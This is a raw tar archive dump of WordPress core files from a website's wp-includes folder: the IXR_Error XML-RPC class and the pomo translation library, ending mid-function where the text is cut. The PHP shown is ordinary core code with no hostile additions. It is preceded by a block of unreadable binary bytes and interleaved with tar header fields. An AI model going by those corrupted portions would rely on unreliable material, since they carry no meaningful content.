�L��RӼ�����|u�3�uh�'��B�H-6RD���&���b��u�.�8ϊ9U�!4hG��/;3�5�	i�:@�4m$��N,��Hhi�b(V�G���Njk ��m&���N�q����
*C}s����>�ޟ� �Q%�˕%�Ƹ.3��Ht	�x�D�!�q��I"E���7�'��0����Ǥ+���&#��س���-!�{����T1��
�'dG�$��51S>���G��'���w��VZp���4�PV
�i�o����̧iy�t�?ý�����<�P��-���?��ev�:Kܓ+�=E�v�eF�%��#h@P(+�e(oq~��GBQޡ�O����	涱J%nK��F<�=�<�G(R<��^�J��M4��!y�����Iq��gj�u=2wȿiP�
b���=�?��������
M0"�;�ŭ�%|7��UZ����2���C'��5���fsmd*����
�bPq
��#k�$��U�6j������7܁,E��� �J "=���;��	�6�ּݢ�	v�Z�B�<��TN��TN��E�̼����Z=T��n��"(�j�&� ����>�}~����y>�)Ͳ�14338/class-IXR-error.php.tar000064400000005000151024420100011400 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/IXR/class-IXR-error.php000064400000001526151024216550025430 0ustar00<?php

/**
 * IXR_Error
 *
 * @package IXR
 * @since 1.5.0
 */
class IXR_Error
{
    var $code;
    var $message;

	/**
	 * PHP5 constructor.
	 */
    function __construct( $code, $message )
    {
        $this->code = $code;
        $this->message = htmlspecialchars($message);
    }

	/**
	 * PHP4 constructor.
	 */
	public function IXR_Error( $code, $message ) {
		self::__construct( $code, $message );
	}

    function getXml()
    {
        $xml = <<<EOD
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>{$this->code}</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string>{$this->message}</string></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>

EOD;
        return $xml;
    }
}
14338/pomo.tar000064400000172000151024420100006675 0ustar00mo.php000064400000022503151024207750005675 0ustar00<?php
/**
 * Class for working with MO files
 *
 * @version $Id: mo.php 1157 2015-11-20 04:30:11Z dd32 $
 * @package pomo
 * @subpackage mo
 */

require_once __DIR__ . '/translations.php';
require_once __DIR__ . '/streams.php';

if ( ! class_exists( 'MO', false ) ) :
	class MO extends Gettext_Translations {

		/**
		 * Number of plural forms.
		 *
		 * @var int
		 */
		public $_nplurals = 2;

		/**
		 * Loaded MO file.
		 *
		 * @var string
		 */
		private $filename = '';

		/**
		 * Returns the loaded MO file.
		 *
		 * @return string The loaded MO file.
		 */
		public function get_filename() {
			return $this->filename;
		}

		/**
		 * Fills up with the entries from MO file $filename
		 *
		 * @param string $filename MO file to load
		 * @return bool True if the import from file was successful, otherwise false.
		 */
		public function import_from_file( $filename ) {
			$reader = new POMO_FileReader( $filename );

			if ( ! $reader->is_resource() ) {
				return false;
			}

			$this->filename = (string) $filename;

			return $this->import_from_reader( $reader );
		}

		/**
		 * @param string $filename
		 * @return bool
		 */
		public function export_to_file( $filename ) {
			$fh = fopen( $filename, 'wb' );
			if ( ! $fh ) {
				return false;
			}
			$res = $this->export_to_file_handle( $fh );
			fclose( $fh );
			return $res;
		}

		/**
		 * @return string|false
		 */
		public function export() {
			$tmp_fh = fopen( 'php://temp', 'r+' );
			if ( ! $tmp_fh ) {
				return false;
			}
			$this->export_to_file_handle( $tmp_fh );
			rewind( $tmp_fh );
			return stream_get_contents( $tmp_fh );
		}

		/**
		 * @param Translation_Entry $entry
		 * @return bool
		 */
		public function is_entry_good_for_export( $entry ) {
			if ( empty( $entry->translations ) ) {
				return false;
			}

			if ( ! array_filter( $entry->translations ) ) {
				return false;
			}

			return true;
		}

		/**
		 * @param resource $fh
		 * @return true
		 */
		public function export_to_file_handle( $fh ) {
			$entries = array_filter( $this->entries, array( $this, 'is_entry_good_for_export' ) );
			ksort( $entries );
			$magic                     = 0x950412de;
			$revision                  = 0;
			$total                     = count( $entries ) + 1; // All the headers are one entry.
			$originals_lengths_addr    = 28;
			$translations_lengths_addr = $originals_lengths_addr + 8 * $total;
			$size_of_hash              = 0;
			$hash_addr                 = $translations_lengths_addr + 8 * $total;
			$current_addr              = $hash_addr;
			fwrite(
				$fh,
				pack(
					'V*',
					$magic,
					$revision,
					$total,
					$originals_lengths_addr,
					$translations_lengths_addr,
					$size_of_hash,
					$hash_addr
				)
			);
			fseek( $fh, $originals_lengths_addr );

			// Headers' msgid is an empty string.
			fwrite( $fh, pack( 'VV', 0, $current_addr ) );
			++$current_addr;
			$originals_table = "\0";

			$reader = new POMO_Reader();

			foreach ( $entries as $entry ) {
				$originals_table .= $this->export_original( $entry ) . "\0";
				$length           = $reader->strlen( $this->export_original( $entry ) );
				fwrite( $fh, pack( 'VV', $length, $current_addr ) );
				$current_addr += $length + 1; // Account for the NULL byte after.
			}

			$exported_headers = $this->export_headers();
			fwrite( $fh, pack( 'VV', $reader->strlen( $exported_headers ), $current_addr ) );
			$current_addr      += strlen( $exported_headers ) + 1;
			$translations_table = $exported_headers . "\0";

			foreach ( $entries as $entry ) {
				$translations_table .= $this->export_translations( $entry ) . "\0";
				$length              = $reader->strlen( $this->export_translations( $entry ) );
				fwrite( $fh, pack( 'VV', $length, $current_addr ) );
				$current_addr += $length + 1;
			}

			fwrite( $fh, $originals_table );
			fwrite( $fh, $translations_table );
			return true;
		}

		/**
		 * @param Translation_Entry $entry
		 * @return string
		 */
		public function export_original( $entry ) {
			// TODO: Warnings for control characters.
			$exported = $entry->singular;
			if ( $entry->is_plural ) {
				$exported .= "\0" . $entry->plural;
			}
			if ( $entry->context ) {
				$exported = $entry->context . "\4" . $exported;
			}
			return $exported;
		}

		/**
		 * @param Translation_Entry $entry
		 * @return string
		 */
		public function export_translations( $entry ) {
			// TODO: Warnings for control characters.
			return $entry->is_plural ? implode( "\0", $entry->translations ) : $entry->translations[0];
		}

		/**
		 * @return string
		 */
		public function export_headers() {
			$exported = '';
			foreach ( $this->headers as $header => $value ) {
				$exported .= "$header: $value\n";
			}
			return $exported;
		}

		/**
		 * @param int $magic
		 * @return string|false
		 */
		public function get_byteorder( $magic ) {
			// The magic is 0x950412de.

			// bug in PHP 5.0.2, see https://savannah.nongnu.org/bugs/?func=detailitem&item_id=10565
			$magic_little    = (int) - 1794895138;
			$magic_little_64 = (int) 2500072158;
			// 0xde120495
			$magic_big = ( (int) - 569244523 ) & 0xFFFFFFFF;
			if ( $magic_little === $magic || $magic_little_64 === $magic ) {
				return 'little';
			} elseif ( $magic_big === $magic ) {
				return 'big';
			} else {
				return false;
			}
		}

		/**
		 * @param POMO_FileReader $reader
		 * @return bool True if the import was successful, otherwise false.
		 */
		public function import_from_reader( $reader ) {
			$endian_string = MO::get_byteorder( $reader->readint32() );
			if ( false === $endian_string ) {
				return false;
			}
			$reader->setEndian( $endian_string );

			$endian = ( 'big' === $endian_string ) ? 'N' : 'V';

			$header = $reader->read( 24 );
			if ( $reader->strlen( $header ) !== 24 ) {
				return false;
			}

			// Parse header.
			$header = unpack( "{$endian}revision/{$endian}total/{$endian}originals_lengths_addr/{$endian}translations_lengths_addr/{$endian}hash_length/{$endian}hash_addr", $header );
			if ( ! is_array( $header ) ) {
				return false;
			}

			// Support revision 0 of MO format specs, only.
			if ( 0 !== $header['revision'] ) {
				return false;
			}

			// Seek to data blocks.
			$reader->seekto( $header['originals_lengths_addr'] );

			// Read originals' indices.
			$originals_lengths_length = $header['translations_lengths_addr'] - $header['originals_lengths_addr'];
			if ( $originals_lengths_length !== $header['total'] * 8 ) {
				return false;
			}

			$originals = $reader->read( $originals_lengths_length );
			if ( $reader->strlen( $originals ) !== $originals_lengths_length ) {
				return false;
			}

			// Read translations' indices.
			$translations_lengths_length = $header['hash_addr'] - $header['translations_lengths_addr'];
			if ( $translations_lengths_length !== $header['total'] * 8 ) {
				return false;
			}

			$translations = $reader->read( $translations_lengths_length );
			if ( $reader->strlen( $translations ) !== $translations_lengths_length ) {
				return false;
			}

			// Transform raw data into set of indices.
			$originals    = $reader->str_split( $originals, 8 );
			$translations = $reader->str_split( $translations, 8 );

			// Skip hash table.
			$strings_addr = $header['hash_addr'] + $header['hash_length'] * 4;

			$reader->seekto( $strings_addr );

			$strings = $reader->read_all();
			$reader->close();

			for ( $i = 0; $i < $header['total']; $i++ ) {
				$o = unpack( "{$endian}length/{$endian}pos", $originals[ $i ] );
				$t = unpack( "{$endian}length/{$endian}pos", $translations[ $i ] );
				if ( ! $o || ! $t ) {
					return false;
				}

				// Adjust offset due to reading strings to separate space before.
				$o['pos'] -= $strings_addr;
				$t['pos'] -= $strings_addr;

				$original    = $reader->substr( $strings, $o['pos'], $o['length'] );
				$translation = $reader->substr( $strings, $t['pos'], $t['length'] );

				if ( '' === $original ) {
					$this->set_headers( $this->make_headers( $translation ) );
				} else {
					$entry                          = &$this->make_entry( $original, $translation );
					$this->entries[ $entry->key() ] = &$entry;
				}
			}
			return true;
		}

		/**
		 * Build a Translation_Entry from original string and translation strings,
		 * found in a MO file
		 *
		 * @static
		 * @param string $original original string to translate from MO file. Might contain
		 *  0x04 as context separator or 0x00 as singular/plural separator
		 * @param string $translation translation string from MO file. Might contain
		 *  0x00 as a plural translations separator
		 * @return Translation_Entry Entry instance.
		 */
		public function &make_entry( $original, $translation ) {
			$entry = new Translation_Entry();
			// Look for context, separated by \4.
			$parts = explode( "\4", $original );
			if ( isset( $parts[1] ) ) {
				$original       = $parts[1];
				$entry->context = $parts[0];
			}
			// Look for plural original.
			$parts           = explode( "\0", $original );
			$entry->singular = $parts[0];
			if ( isset( $parts[1] ) ) {
				$entry->is_plural = true;
				$entry->plural    = $parts[1];
			}
			// Plural translations are also separated by \0.
			$entry->translations = explode( "\0", $translation );
			return $entry;
		}

		/**
		 * @param int $count
		 * @return string
		 */
		public function select_plural_form( $count ) {
			return $this->gettext_select_plural_form( $count );
		}

		/**
		 * @return int
		 */
		public function get_plural_forms_count() {
			return $this->_nplurals;
		}
	}
endif;
entry.php000064400000007427151024207750006433 0ustar00<?php
/**
 * Contains Translation_Entry class
 *
 * @version $Id: entry.php 1157 2015-11-20 04:30:11Z dd32 $
 * @package pomo
 * @subpackage entry
 */

if ( ! class_exists( 'Translation_Entry', false ) ) :
	/**
	 * Translation_Entry class encapsulates a translatable string.
	 *
	 * @since 2.8.0
	 */
	#[AllowDynamicProperties]
	class Translation_Entry {

		/**
		 * Whether the entry contains a string and its plural form, default is false.
		 *
		 * @var bool
		 */
		public $is_plural = false;

		public $context             = null;
		public $singular            = null;
		public $plural              = null;
		public $translations        = array();
		public $translator_comments = '';
		public $extracted_comments  = '';
		public $references          = array();
		public $flags               = array();

		/**
		 * @param array $args {
		 *     Arguments array, supports the following keys:
		 *
		 *     @type string $singular            The string to translate, if omitted an
		 *                                       empty entry will be created.
		 *     @type string $plural              The plural form of the string, setting
		 *                                       this will set `$is_plural` to true.
		 *     @type array  $translations        Translations of the string and possibly
		 *                                       its plural forms.
		 *     @type string $context             A string differentiating two equal strings
		 *                                       used in different contexts.
		 *     @type string $translator_comments Comments left by translators.
		 *     @type string $extracted_comments  Comments left by developers.
		 *     @type array  $references          Places in the code this string is used, in
		 *                                       relative_to_root_path/file.php:linenum form.
		 *     @type array  $flags               Flags like php-format.
		 * }
		 */
		public function __construct( $args = array() ) {
			// If no singular -- empty object.
			if ( ! isset( $args['singular'] ) ) {
				return;
			}
			// Get member variable values from args hash.
			foreach ( $args as $varname => $value ) {
				$this->$varname = $value;
			}
			if ( isset( $args['plural'] ) && $args['plural'] ) {
				$this->is_plural = true;
			}
			if ( ! is_array( $this->translations ) ) {
				$this->translations = array();
			}
			if ( ! is_array( $this->references ) ) {
				$this->references = array();
			}
			if ( ! is_array( $this->flags ) ) {
				$this->flags = array();
			}
		}

		/**
		 * PHP4 constructor.
		 *
		 * @since 2.8.0
		 * @deprecated 5.4.0 Use __construct() instead.
		 *
		 * @see Translation_Entry::__construct()
		 */
		public function Translation_Entry( $args = array() ) {
			_deprecated_constructor( self::class, '5.4.0', static::class );
			self::__construct( $args );
		}

		/**
		 * Generates a unique key for this entry.
		 *
		 * @since 2.8.0
		 *
		 * @return string|false The key or false if the entry is null.
		 */
		public function key() {
			if ( null === $this->singular ) {
				return false;
			}

			// Prepend context and EOT, like in MO files.
			$key = ! $this->context ? $this->singular : $this->context . "\4" . $this->singular;
			// Standardize on \n line endings.
			$key = str_replace( array( "\r\n", "\r" ), "\n", $key );

			return $key;
		}

		/**
		 * Merges another translation entry with the current one.
		 *
		 * @since 2.8.0
		 *
		 * @param Translation_Entry $other Other translation entry.
		 */
		public function merge_with( &$other ) {
			$this->flags      = array_unique( array_merge( $this->flags, $other->flags ) );
			$this->references = array_unique( array_merge( $this->references, $other->references ) );
			if ( $this->extracted_comments !== $other->extracted_comments ) {
				$this->extracted_comments .= $other->extracted_comments;
			}
		}
	}
endif;
plural-forms.php000064400000016731151024207750007713 0ustar00<?php

/**
 * A gettext Plural-Forms parser.
 *
 * @since 4.9.0
 */
if ( ! class_exists( 'Plural_Forms', false ) ) :
	#[AllowDynamicProperties]
	class Plural_Forms {
		/**
		 * Operator characters.
		 *
		 * @since 4.9.0
		 * @var string OP_CHARS Operator characters.
		 */
		const OP_CHARS = '|&><!=%?:';

		/**
		 * Valid number characters.
		 *
		 * @since 4.9.0
		 * @var string NUM_CHARS Valid number characters.
		 */
		const NUM_CHARS = '0123456789';

		/**
		 * Operator precedence.
		 *
		 * Operator precedence from highest to lowest. Higher numbers indicate
		 * higher precedence, and are executed first.
		 *
		 * @see https://en.wikipedia.org/wiki/Operators_in_C_and_C%2B%2B#Operator_precedence
		 *
		 * @since 4.9.0
		 * @var array $op_precedence Operator precedence from highest to lowest.
		 */
		protected static $op_precedence = array(
			'%'  => 6,

			'<'  => 5,
			'<=' => 5,
			'>'  => 5,
			'>=' => 5,

			'==' => 4,
			'!=' => 4,

			'&&' => 3,

			'||' => 2,

			'?:' => 1,
			'?'  => 1,

			'('  => 0,
			')'  => 0,
		);

		/**
		 * Tokens generated from the string.
		 *
		 * @since 4.9.0
		 * @var array $tokens List of tokens.
		 */
		protected $tokens = array();

		/**
		 * Cache for repeated calls to the function.
		 *
		 * @since 4.9.0
		 * @var array $cache Map of $n => $result
		 */
		protected $cache = array();

		/**
		 * Constructor.
		 *
		 * @since 4.9.0
		 *
		 * @param string $str Plural function (just the bit after `plural=` from Plural-Forms)
		 */
		public function __construct( $str ) {
			$this->parse( $str );
		}

		/**
		 * Parse a Plural-Forms string into tokens.
		 *
		 * Uses the shunting-yard algorithm to convert the string to Reverse Polish
		 * Notation tokens.
		 *
		 * @since 4.9.0
		 *
		 * @throws Exception If there is a syntax or parsing error with the string.
		 *
		 * @param string $str String to parse.
		 */
		protected function parse( $str ) {
			$pos = 0;
			$len = strlen( $str );

			// Convert infix operators to postfix using the shunting-yard algorithm.
			$output = array();
			$stack  = array();
			while ( $pos < $len ) {
				$next = substr( $str, $pos, 1 );

				switch ( $next ) {
					// Ignore whitespace.
					case ' ':
					case "\t":
						++$pos;
						break;

					// Variable (n).
					case 'n':
						$output[] = array( 'var' );
						++$pos;
						break;

					// Parentheses.
					case '(':
						$stack[] = $next;
						++$pos;
						break;

					case ')':
						$found = false;
						while ( ! empty( $stack ) ) {
							$o2 = $stack[ count( $stack ) - 1 ];
							if ( '(' !== $o2 ) {
								$output[] = array( 'op', array_pop( $stack ) );
								continue;
							}

							// Discard open paren.
							array_pop( $stack );
							$found = true;
							break;
						}

						if ( ! $found ) {
							throw new Exception( 'Mismatched parentheses' );
						}

						++$pos;
						break;

					// Operators.
					case '|':
					case '&':
					case '>':
					case '<':
					case '!':
					case '=':
					case '%':
					case '?':
						$end_operator = strspn( $str, self::OP_CHARS, $pos );
						$operator     = substr( $str, $pos, $end_operator );
						if ( ! array_key_exists( $operator, self::$op_precedence ) ) {
							throw new Exception( sprintf( 'Unknown operator "%s"', $operator ) );
						}

						while ( ! empty( $stack ) ) {
							$o2 = $stack[ count( $stack ) - 1 ];

							// Ternary is right-associative in C.
							if ( '?:' === $operator || '?' === $operator ) {
								if ( self::$op_precedence[ $operator ] >= self::$op_precedence[ $o2 ] ) {
									break;
								}
							} elseif ( self::$op_precedence[ $operator ] > self::$op_precedence[ $o2 ] ) {
								break;
							}

							$output[] = array( 'op', array_pop( $stack ) );
						}
						$stack[] = $operator;

						$pos += $end_operator;
						break;

					// Ternary "else".
					case ':':
						$found = false;
						$s_pos = count( $stack ) - 1;
						while ( $s_pos >= 0 ) {
							$o2 = $stack[ $s_pos ];
							if ( '?' !== $o2 ) {
								$output[] = array( 'op', array_pop( $stack ) );
								--$s_pos;
								continue;
							}

							// Replace.
							$stack[ $s_pos ] = '?:';
							$found           = true;
							break;
						}

						if ( ! $found ) {
							throw new Exception( 'Missing starting "?" ternary operator' );
						}
						++$pos;
						break;

					// Default - number or invalid.
					default:
						if ( $next >= '0' && $next <= '9' ) {
							$span     = strspn( $str, self::NUM_CHARS, $pos );
							$output[] = array( 'value', intval( substr( $str, $pos, $span ) ) );
							$pos     += $span;
							break;
						}

						throw new Exception( sprintf( 'Unknown symbol "%s"', $next ) );
				}
			}

			while ( ! empty( $stack ) ) {
				$o2 = array_pop( $stack );
				if ( '(' === $o2 || ')' === $o2 ) {
					throw new Exception( 'Mismatched parentheses' );
				}

				$output[] = array( 'op', $o2 );
			}

			$this->tokens = $output;
		}

		/**
		 * Get the plural form for a number.
		 *
		 * Caches the value for repeated calls.
		 *
		 * @since 4.9.0
		 *
		 * @param int $num Number to get plural form for.
		 * @return int Plural form value.
		 */
		public function get( $num ) {
			if ( isset( $this->cache[ $num ] ) ) {
				return $this->cache[ $num ];
			}
			$this->cache[ $num ] = $this->execute( $num );
			return $this->cache[ $num ];
		}

		/**
		 * Execute the plural form function.
		 *
		 * @since 4.9.0
		 *
		 * @throws Exception If the plural form value cannot be calculated.
		 *
		 * @param int $n Variable "n" to substitute.
		 * @return int Plural form value.
		 */
		public function execute( $n ) {
			$stack = array();
			$i     = 0;
			$total = count( $this->tokens );
			while ( $i < $total ) {
				$next = $this->tokens[ $i ];
				++$i;
				if ( 'var' === $next[0] ) {
					$stack[] = $n;
					continue;
				} elseif ( 'value' === $next[0] ) {
					$stack[] = $next[1];
					continue;
				}

				// Only operators left.
				switch ( $next[1] ) {
					case '%':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 % $v2;
						break;

					case '||':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 || $v2;
						break;

					case '&&':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 && $v2;
						break;

					case '<':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 < $v2;
						break;

					case '<=':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 <= $v2;
						break;

					case '>':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 > $v2;
						break;

					case '>=':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 >= $v2;
						break;

					case '!=':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 !== $v2;
						break;

					case '==':
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 === $v2;
						break;

					case '?:':
						$v3      = array_pop( $stack );
						$v2      = array_pop( $stack );
						$v1      = array_pop( $stack );
						$stack[] = $v1 ? $v2 : $v3;
						break;

					default:
						throw new Exception( sprintf( 'Unknown operator "%s"', $next[1] ) );
				}
			}

			if ( count( $stack ) !== 1 ) {
				throw new Exception( 'Too many values remaining on the stack' );
			}

			return (int) $stack[0];
		}
	}
endif;
streams.php000064400000017376151024207750006754 0ustar00<?php
/**
 * Classes, which help reading streams of data from files.
 * Based on the classes from Danilo Segan <danilo@kvota.net>
 *
 * @version $Id: streams.php 1157 2015-11-20 04:30:11Z dd32 $
 * @package pomo
 * @subpackage streams
 */

if ( ! class_exists( 'POMO_Reader', false ) ) :
	#[AllowDynamicProperties]
	class POMO_Reader {

		public $endian = 'little';
		public $_pos;
		public $is_overloaded;

		/**
		 * PHP5 constructor.
		 */
		public function __construct() {
			if ( function_exists( 'mb_substr' )
				&& ( (int) ini_get( 'mbstring.func_overload' ) & 2 ) // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated
			) {
				$this->is_overloaded = true;
			} else {
				$this->is_overloaded = false;
			}

			$this->_pos = 0;
		}

		/**
		 * PHP4 constructor.
		 *
		 * @deprecated 5.4.0 Use __construct() instead.
		 *
		 * @see POMO_Reader::__construct()
		 */
		public function POMO_Reader() {
			_deprecated_constructor( self::class, '5.4.0', static::class );
			self::__construct();
		}

		/**
		 * Sets the endianness of the file.
		 *
		 * @param string $endian Set the endianness of the file. Accepts 'big', or 'little'.
		 */
		public function setEndian( $endian ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid
			$this->endian = $endian;
		}

		/**
		 * Reads a 32bit Integer from the Stream
		 *
		 * @return mixed The integer, corresponding to the next 32 bits from
		 *  the stream of false if there are not enough bytes or on error
		 */
		public function readint32() {
			$bytes = $this->read( 4 );
			if ( 4 !== $this->strlen( $bytes ) ) {
				return false;
			}
			$endian_letter = ( 'big' === $this->endian ) ? 'N' : 'V';
			$int           = unpack( $endian_letter, $bytes );
			return reset( $int );
		}

		/**
		 * Reads an array of 32-bit Integers from the Stream
		 *
		 * @param int $count How many elements should be read
		 * @return mixed Array of integers or false if there isn't
		 *  enough data or on error
		 */
		public function readint32array( $count ) {
			$bytes = $this->read( 4 * $count );
			if ( 4 * $count !== $this->strlen( $bytes ) ) {
				return false;
			}
			$endian_letter = ( 'big' === $this->endian ) ? 'N' : 'V';
			return unpack( $endian_letter . $count, $bytes );
		}

		/**
		 * @param string $input_string
		 * @param int    $start
		 * @param int    $length
		 * @return string
		 */
		public function substr( $input_string, $start, $length ) {
			if ( $this->is_overloaded ) {
				return mb_substr( $input_string, $start, $length, 'ascii' );
			} else {
				return substr( $input_string, $start, $length );
			}
		}

		/**
		 * @param string $input_string
		 * @return int
		 */
		public function strlen( $input_string ) {
			if ( $this->is_overloaded ) {
				return mb_strlen( $input_string, 'ascii' );
			} else {
				return strlen( $input_string );
			}
		}

		/**
		 * @param string $input_string
		 * @param int    $chunk_size
		 * @return array
		 */
		public function str_split( $input_string, $chunk_size ) {
			if ( ! function_exists( 'str_split' ) ) {
				$length = $this->strlen( $input_string );
				$out    = array();
				for ( $i = 0; $i < $length; $i += $chunk_size ) {
					$out[] = $this->substr( $input_string, $i, $chunk_size );
				}
				return $out;
			} else {
				return str_split( $input_string, $chunk_size );
			}
		}

		/**
		 * @return int
		 */
		public function pos() {
			return $this->_pos;
		}

		/**
		 * @return true
		 */
		public function is_resource() {
			return true;
		}

		/**
		 * @return true
		 */
		public function close() {
			return true;
		}
	}
endif;

if ( ! class_exists( 'POMO_FileReader', false ) ) :
	class POMO_FileReader extends POMO_Reader {

		/**
		 * File pointer resource.
		 *
		 * @var resource|false
		 */
		public $_f;

		/**
		 * @param string $filename
		 */
		public function __construct( $filename ) {
			parent::__construct();
			$this->_f = fopen( $filename, 'rb' );
		}

		/**
		 * PHP4 constructor.
		 *
		 * @deprecated 5.4.0 Use __construct() instead.
		 *
		 * @see POMO_FileReader::__construct()
		 */
		public function POMO_FileReader( $filename ) {
			_deprecated_constructor( self::class, '5.4.0', static::class );
			self::__construct( $filename );
		}

		/**
		 * @param int $bytes
		 * @return string|false Returns read string, otherwise false.
		 */
		public function read( $bytes ) {
			return fread( $this->_f, $bytes );
		}

		/**
		 * @param int $pos
		 * @return bool
		 */
		public function seekto( $pos ) {
			if ( -1 === fseek( $this->_f, $pos, SEEK_SET ) ) {
				return false;
			}
			$this->_pos = $pos;
			return true;
		}

		/**
		 * @return bool
		 */
		public function is_resource() {
			return is_resource( $this->_f );
		}

		/**
		 * @return bool
		 */
		public function feof() {
			return feof( $this->_f );
		}

		/**
		 * @return bool
		 */
		public function close() {
			return fclose( $this->_f );
		}

		/**
		 * @return string
		 */
		public function read_all() {
			return stream_get_contents( $this->_f );
		}
	}
endif;

if ( ! class_exists( 'POMO_StringReader', false ) ) :
	/**
	 * Provides file-like methods for manipulating a string instead
	 * of a physical file.
	 */
	class POMO_StringReader extends POMO_Reader {

		public $_str = '';

		/**
		 * PHP5 constructor.
		 */
		public function __construct( $str = '' ) {
			parent::__construct();
			$this->_str = $str;
			$this->_pos = 0;
		}

		/**
		 * PHP4 constructor.
		 *
		 * @deprecated 5.4.0 Use __construct() instead.
		 *
		 * @see POMO_StringReader::__construct()
		 */
		public function POMO_StringReader( $str = '' ) {
			_deprecated_constructor( self::class, '5.4.0', static::class );
			self::__construct( $str );
		}

		/**
		 * @param string $bytes
		 * @return string
		 */
		public function read( $bytes ) {
			$data        = $this->substr( $this->_str, $this->_pos, $bytes );
			$this->_pos += $bytes;
			if ( $this->strlen( $this->_str ) < $this->_pos ) {
				$this->_pos = $this->strlen( $this->_str );
			}
			return $data;
		}

		/**
		 * @param int $pos
		 * @return int
		 */
		public function seekto( $pos ) {
			$this->_pos = $pos;
			if ( $this->strlen( $this->_str ) < $this->_pos ) {
				$this->_pos = $this->strlen( $this->_str );
			}
			return $this->_pos;
		}

		/**
		 * @return int
		 */
		public function length() {
			return $this->strlen( $this->_str );
		}

		/**
		 * @return string
		 */
		public function read_all() {
			return $this->substr( $this->_str, $this->_pos, $this->strlen( $this->_str ) );
		}
	}
endif;

if ( ! class_exists( 'POMO_CachedFileReader', false ) ) :
	/**
	 * Reads the contents of the file in the beginning.
	 */
	class POMO_CachedFileReader extends POMO_StringReader {
		/**
		 * PHP5 constructor.
		 */
		public function __construct( $filename ) {
			parent::__construct();
			$this->_str = file_get_contents( $filename );
			if ( false === $this->_str ) {
				return false;
			}
			$this->_pos = 0;
		}

		/**
		 * PHP4 constructor.
		 *
		 * @deprecated 5.4.0 Use __construct() instead.
		 *
		 * @see POMO_CachedFileReader::__construct()
		 */
		public function POMO_CachedFileReader( $filename ) {
			_deprecated_constructor( self::class, '5.4.0', static::class );
			self::__construct( $filename );
		}
	}
endif;

if ( ! class_exists( 'POMO_CachedIntFileReader', false ) ) :
	/**
	 * Reads the contents of the file in the beginning.
	 */
	class POMO_CachedIntFileReader extends POMO_CachedFileReader {
		/**
		 * PHP5 constructor.
		 */
		public function __construct( $filename ) {
			parent::__construct( $filename );
		}

		/**
		 * PHP4 constructor.
		 *
		 * @deprecated 5.4.0 Use __construct() instead.
		 *
		 * @see POMO_CachedIntFileReader::__construct()
		 */
		public function POMO_CachedIntFileReader( $filename ) {
			_deprecated_constructor( self::class, '5.4.0', static::class );
			self::__construct( $filename );
		}
	}
endif;
translations.php000064400000031014151024207750010000 0ustar00<?php
/**
 * Class for a set of entries for translation and their associated headers
 *
 * @version $Id: translations.php 1157 2015-11-20 04:30:11Z dd32 $
 * @package pomo
 * @subpackage translations
 * @since 2.8.0
 */

require_once __DIR__ . '/plural-forms.php';
require_once __DIR__ . '/entry.php';

if ( ! class_exists( 'Translations', false ) ) :
	/**
	 * Translations class.
	 *
	 * @since 2.8.0
	 */
	#[AllowDynamicProperties]
	class Translations {
		/**
		 * List of translation entries.
		 *
		 * @since 2.8.0
		 *
		 * @var Translation_Entry[]
		 */
		public $entries = array();

		/**
		 * List of translation headers.
		 *
		 * @since 2.8.0
		 *
		 * @var array<string, string>
		 */
		public $headers = array();

		/**
		 * Adds an entry to the PO structure.
		 *
		 * @since 2.8.0
		 *
		 * @param array|Translation_Entry $entry
		 * @return bool True on success, false if the entry doesn't have a key.
		 */
		public function add_entry( $entry ) {
			if ( is_array( $entry ) ) {
				$entry = new Translation_Entry( $entry );
			}
			$key = $entry->key();
			if ( false === $key ) {
				return false;
			}
			$this->entries[ $key ] = &$entry;
			return true;
		}

		/**
		 * Adds or merges an entry to the PO structure.
		 *
		 * @since 2.8.0
		 *
		 * @param array|Translation_Entry $entry
		 * @return bool True on success, false if the entry doesn't have a key.
		 */
		public function add_entry_or_merge( $entry ) {
			if ( is_array( $entry ) ) {
				$entry = new Translation_Entry( $entry );
			}
			$key = $entry->key();
			if ( false === $key ) {
				return false;
			}
			if ( isset( $this->entries[ $key ] ) ) {
				$this->entries[ $key ]->merge_with( $entry );
			} else {
				$this->entries[ $key ] = &$entry;
			}
			return true;
		}

		/**
		 * Sets $header PO header to $value
		 *
		 * If the header already exists, it will be overwritten
		 *
		 * TODO: this should be out of this class, it is gettext specific
		 *
		 * @since 2.8.0
		 *
		 * @param string $header header name, without trailing :
		 * @param string $value header value, without trailing \n
		 */
		public function set_header( $header, $value ) {
			$this->headers[ $header ] = $value;
		}

		/**
		 * Sets translation headers.
		 *
		 * @since 2.8.0
		 *
		 * @param array $headers Associative array of headers.
		 */
		public function set_headers( $headers ) {
			foreach ( $headers as $header => $value ) {
				$this->set_header( $header, $value );
			}
		}

		/**
		 * Returns a given translation header.
		 *
		 * @since 2.8.0
		 *
		 * @param string $header
		 * @return string|false Header if it exists, false otherwise.
		 */
		public function get_header( $header ) {
			return isset( $this->headers[ $header ] ) ? $this->headers[ $header ] : false;
		}

		/**
		 * Returns a given translation entry.
		 *
		 * @since 2.8.0
		 *
		 * @param Translation_Entry $entry Translation entry.
		 * @return Translation_Entry|false Translation entry if it exists, false otherwise.
		 */
		public function translate_entry( &$entry ) {
			$key = $entry->key();
			return isset( $this->entries[ $key ] ) ? $this->entries[ $key ] : false;
		}

		/**
		 * Translates a singular string.
		 *
		 * @since 2.8.0
		 *
		 * @param string $singular
		 * @param string $context
		 * @return string
		 */
		public function translate( $singular, $context = null ) {
			$entry      = new Translation_Entry(
				array(
					'singular' => $singular,
					'context'  => $context,
				)
			);
